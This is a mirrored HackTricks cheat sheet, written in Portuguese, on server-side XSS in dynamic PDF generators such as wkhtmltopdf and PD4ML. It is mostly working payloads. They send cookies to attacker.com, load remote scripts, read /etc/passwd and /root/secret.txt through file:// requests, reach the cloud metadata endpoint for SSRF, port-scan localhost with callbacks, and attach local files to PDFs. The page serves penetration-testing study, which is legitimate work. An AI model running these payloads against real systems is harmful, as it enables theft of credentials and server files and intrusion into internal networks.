mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-20 18:14:15 +00:00
200 lines
10 KiB
Markdown
200 lines
10 KiB
Markdown
|
# Server Side XSS (Dynamic PDF)
|
||
|
|
||
|
{% hint style="success" %}
|
||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary>Support HackTricks</summary>
|
||
|
|
||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
|
||
|
</details>
|
||
|
{% endhint %}
|
||
|
|
||
|
## Server Side XSS (Dynamic PDF)
|
||
|
|
||
|
Se uma página da web estiver criando um PDF usando entrada controlada pelo usuário, você pode tentar **enganar o bot** que está criando o PDF para **executar código JS arbitrário**.\
|
||
|
Assim, se o **bot criador de PDF encontrar** algum tipo de **tags HTML**, ele vai **interpretá-las**, e você pode **abusar** desse comportamento para causar um **Server XSS**.
|
||
|
|
||
|
Por favor, note que as tags `<script></script>` não funcionam sempre, então você precisará de um método diferente para executar JS (por exemplo, abusando de `<img` ).\
|
||
|
Além disso, note que em uma exploração regular você será **capaz de ver/baixar o PDF criado**, então você poderá ver tudo que você **escreve via JS** (usando `document.write()` por exemplo). Mas, se você **não puder ver** o PDF criado, provavelmente precisará **extrair a informação fazendo requisições web para você** (Blind).
|
||
|
|
||
|
### Geração de PDF popular
|
||
|
|
||
|
- **wkhtmltopdf** é conhecido por sua capacidade de converter HTML e CSS em documentos PDF, utilizando o motor de renderização WebKit. Esta ferramenta está disponível como uma utilidade de linha de comando de código aberto, tornando-a acessível para uma ampla gama de aplicações.
|
||
|
- **TCPDF** oferece uma solução robusta dentro do ecossistema PHP para geração de PDF. É capaz de lidar com imagens, gráficos e criptografia, demonstrando sua versatilidade para criar documentos complexos.
|
||
|
- Para aqueles que trabalham em um ambiente Node.js, **PDFKit** apresenta uma opção viável. Ele permite a geração de documentos PDF diretamente de HTML e CSS, fornecendo uma ponte entre conteúdo web e formatos imprimíveis.
|
||
|
- Desenvolvedores Java podem preferir **iText**, uma biblioteca que não apenas facilita a criação de PDF, mas também suporta recursos avançados como assinaturas digitais e preenchimento de formulários. Seu conjunto abrangente de recursos a torna adequada para gerar documentos seguros e interativos.
|
||
|
- **FPDF** é outra biblioteca PHP, distinguida por sua simplicidade e facilidade de uso. É projetada para desenvolvedores que buscam uma abordagem direta para a geração de PDF, sem a necessidade de recursos extensivos.
|
||
|
|
||
|
## Payloads
|
||
|
|
||
|
### Discovery
|
||
|
```markup
|
||
|
<!-- Basic discovery, Write somthing-->
|
||
|
<img src="x" onerror="document.write('test')" />
|
||
|
<script>document.write(JSON.stringify(window.location))</script>
|
||
|
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>
|
||
|
|
||
|
<!--Basic blind discovery, load a resource-->
|
||
|
<img src="http://attacker.com"/>
|
||
|
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
|
||
|
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
|
||
|
<link rel=attachment href="http://attacker.com">
|
||
|
```
|
||
|
### SVG
|
||
|
|
||
|
Qualquer um dos payloads anteriores ou seguintes pode ser usado dentro deste payload SVG. Um iframe acessando o subdomínio Burpcollab e outro acessando o endpoint de metadados são apresentados como exemplos.
|
||
|
```markup
|
||
|
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
|
||
|
<g>
|
||
|
<foreignObject width="800" height="500">
|
||
|
<body xmlns="http://www.w3.org/1999/xhtml">
|
||
|
<iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>
|
||
|
<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
|
||
|
</body>
|
||
|
</foreignObject>
|
||
|
</g>
|
||
|
</svg>
|
||
|
|
||
|
|
||
|
<svg width="100%" height="100%" viewBox="0 0 100 100"
|
||
|
xmlns="http://www.w3.org/2000/svg">
|
||
|
<circle cx="50" cy="50" r="45" fill="green"
|
||
|
id="foo"/>
|
||
|
<script type="text/javascript">
|
||
|
// <![CDATA[
|
||
|
alert(1);
|
||
|
// ]]>
|
||
|
</script>
|
||
|
</svg>
|
||
|
```
|
||
|
Você pode encontrar muitos **outros payloads SVG** em [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||
|
|
||
|
### Divulgação de caminho
|
||
|
```markup
|
||
|
<!-- If the bot is accessing a file:// path, you will discover the internal path
|
||
|
if not, you will at least have wich path the bot is accessing -->
|
||
|
<img src="x" onerror="document.write(window.location)" />
|
||
|
<script> document.write(window.location) </script>
|
||
|
```
|
||
|
### Carregar um script externo
|
||
|
|
||
|
A melhor maneira de explorar essa vulnerabilidade é abusar dela para fazer o bot carregar um script que você controla localmente. Assim, você poderá alterar a carga útil localmente e fazer o bot carregá-la com o mesmo código toda vez.
|
||
|
```markup
|
||
|
<script src="http://attacker.com/myscripts.js"></script>
|
||
|
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
|
||
|
```
|
||
|
### Ler arquivo local / SSRF
|
||
|
|
||
|
{% hint style="warning" %}
|
||
|
Altere `file:///etc/passwd` para `http://169.254.169.254/latest/user-data` por exemplo para **tentar acessar uma página da web externa (SSRF)**.
|
||
|
|
||
|
Se SSRF for permitido, mas você **não conseguir acessar** um domínio ou IP interessante, [verifique esta página para possíveis contornos](../ssrf-server-side-request-forgery/url-format-bypass.md).
|
||
|
{% endhint %}
|
||
|
```markup
|
||
|
<script>
|
||
|
x=new XMLHttpRequest;
|
||
|
x.onload=function(){document.write(btoa(this.responseText))};
|
||
|
x.open("GET","file:///etc/passwd");x.send();
|
||
|
</script>
|
||
|
```
|
||
|
|
||
|
```markup
|
||
|
<script>
|
||
|
xhzeem = new XMLHttpRequest();
|
||
|
xhzeem.onload = function(){document.write(this.responseText);}
|
||
|
xhzeem.onerror = function(){document.write('failed!')}
|
||
|
xhzeem.open("GET","file:///etc/passwd");
|
||
|
xhzeem.send();
|
||
|
</script>
|
||
|
```
|
||
|
|
||
|
```markup
|
||
|
<iframe src=file:///etc/passwd></iframe>
|
||
|
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
|
||
|
<link rel=attachment href="file:///root/secret.txt">
|
||
|
<object data="file:///etc/passwd">
|
||
|
<portal src="file:///etc/passwd" id=portal>
|
||
|
<embed src="file:///etc/passwd>" width="400" height="400">
|
||
|
<style><iframe src="file:///etc/passwd">
|
||
|
<img src='x' onerror='document.write('<iframe src=file:///etc/passwd></iframe>')'/>&text=&width=500&height=500
|
||
|
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
|
||
|
```
|
||
|
|
||
|
```markup
|
||
|
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />
|
||
|
```
|
||
|
### Atraso do bot
|
||
|
```markup
|
||
|
<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
|
||
|
<script>
|
||
|
let time = 500;
|
||
|
setInterval(()=>{
|
||
|
let img = document.createElement("img");
|
||
|
img.src = `https://attacker.com/ping?time=${time}ms`;
|
||
|
time += 500;
|
||
|
}, 500);
|
||
|
</script>
|
||
|
<img src="https://attacker.com/delay">
|
||
|
```
|
||
|
### Varredura de Portas
|
||
|
```markup
|
||
|
<!--Scan local port and receive a ping indicating which ones are found-->
|
||
|
<script>
|
||
|
const checkPort = (port) => {
|
||
|
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
|
||
|
let img = document.createElement("img");
|
||
|
img.src = `http://attacker.com/ping?port=${port}`;
|
||
|
});
|
||
|
}
|
||
|
|
||
|
for(let i=0; i<1000; i++) {
|
||
|
checkPort(i);
|
||
|
}
|
||
|
</script>
|
||
|
<img src="https://attacker.com/startingScan">
|
||
|
```
|
||
|
### [SSRF](../ssrf-server-side-request-forgery/)
|
||
|
|
||
|
Essa vulnerabilidade pode ser transformada muito facilmente em um SSRF (já que você pode fazer o script carregar recursos externos). Então, apenas tente explorá-la (ler alguns metadados?).
|
||
|
|
||
|
### Anexos: PD4ML
|
||
|
|
||
|
Existem alguns motores de HTML para PDF que permitem **especificar anexos para o PDF**, como **PD4ML**. Você pode abusar dessa funcionalidade para **anexar qualquer arquivo local** ao PDF.\
|
||
|
Para abrir o anexo, eu abri o arquivo com **Firefox e cliquei duas vezes no símbolo do clipe de papel** para **armazenar o anexo** como um novo arquivo.\
|
||
|
Capturar a **resposta PDF** com burp também deve **mostrar o anexo em texto claro** dentro do PDF.
|
||
|
|
||
|
{% code overflow="wrap" %}
|
||
|
```html
|
||
|
<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
|
||
|
<html><pd4ml:attachment src="/etc/passwd" description="attachment sample" icon="Paperclip"/></html>
|
||
|
```
|
||
|
{% endcode %}
|
||
|
|
||
|
## Referências
|
||
|
|
||
|
* [https://lbherrera.github.io/lab/h1415-ctf-writeup.html](https://lbherrera.github.io/lab/h1415-ctf-writeup.html)
|
||
|
* [https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/](https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/)
|
||
|
* [https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html](https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html)
|
||
|
* [https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c](https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c)
|
||
|
|
||
|
{% hint style="success" %}
|
||
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary>Support HackTricks</summary>
|
||
|
|
||
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||
|
|
||
|
</details>
|
||
|
{% endhint %}
|